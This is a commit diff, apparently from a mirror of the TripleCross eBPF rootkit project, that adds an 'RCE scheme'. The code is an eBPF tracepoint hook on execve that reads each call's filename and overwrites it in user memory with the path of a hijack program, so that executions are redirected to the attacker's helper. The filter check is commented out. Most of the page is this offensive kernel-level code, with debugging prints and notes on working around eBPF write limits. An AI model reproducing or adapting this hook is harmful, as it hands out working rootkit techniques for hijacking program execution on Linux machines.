mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-21 01:03:08 +08:00
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
This commit is contained in:
@@ -12,23 +12,96 @@
|
||||
#include "defs.h"
|
||||
#include "../utils/strings.h"
|
||||
|
||||
#define NUMBER_ARGUMENTS_PARSED 12
|
||||
#define ARGUMENT_LENGTH 64
|
||||
|
||||
|
||||
/**
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
|
||||
*/
|
||||
struct sys_execve_enter_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
const char* const *argv;
|
||||
const char* filename;
|
||||
const char* const *envp;
|
||||
char* filename;
|
||||
const char* const* argv;
|
||||
const char* const* envp;
|
||||
};
|
||||
|
||||
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
//unsigned char* envp[PROGRAM_LENGTH] = {0};
|
||||
unsigned char filename[ARGUMENT_LENGTH] = {0};
|
||||
if(ctx==NULL || ctx->argv == NULL){
|
||||
return -1;
|
||||
}
|
||||
if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||
bpf_printk("Error reading 1\n");
|
||||
};
|
||||
/*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
|
||||
bpf_printk("Error reading 2\n");
|
||||
};*/
|
||||
if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
|
||||
bpf_printk("ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
//bpf_printk("ENVP: %s\n", envp);
|
||||
bpf_printk("FILENAME: %s\n", filename);
|
||||
|
||||
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
||||
//return 0;
|
||||
}
|
||||
|
||||
bpf_printk("Our file!\n");
|
||||
/*
|
||||
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
||||
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
||||
we receive an userspace buffer, but this is later tweaked via getname().
|
||||
Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
|
||||
The idea is to hook all execve calls, but the first execution of our userspace helper will
|
||||
deactivate this hook.
|
||||
Also another solution could be to hook do_execve and access the filename struct, which still contians
|
||||
an userspace buffer inside.
|
||||
*/
|
||||
|
||||
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||
|
||||
#pragma unroll
|
||||
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
||||
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
||||
}
|
||||
|
||||
bpf_printk("To write: %s\n", to_write);
|
||||
|
||||
long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
|
||||
if(ret<0){
|
||||
bpf_printk("Error writing to user memory %i\n", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||
bpf_printk("Error reading 3\n");
|
||||
};
|
||||
bpf_printk("NEW FILENAME: %s\n", newfilename);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
SEC("tp/syscalls/sys_enter_execve")
|
||||
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
return handle_tp_sys_enter_execve(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user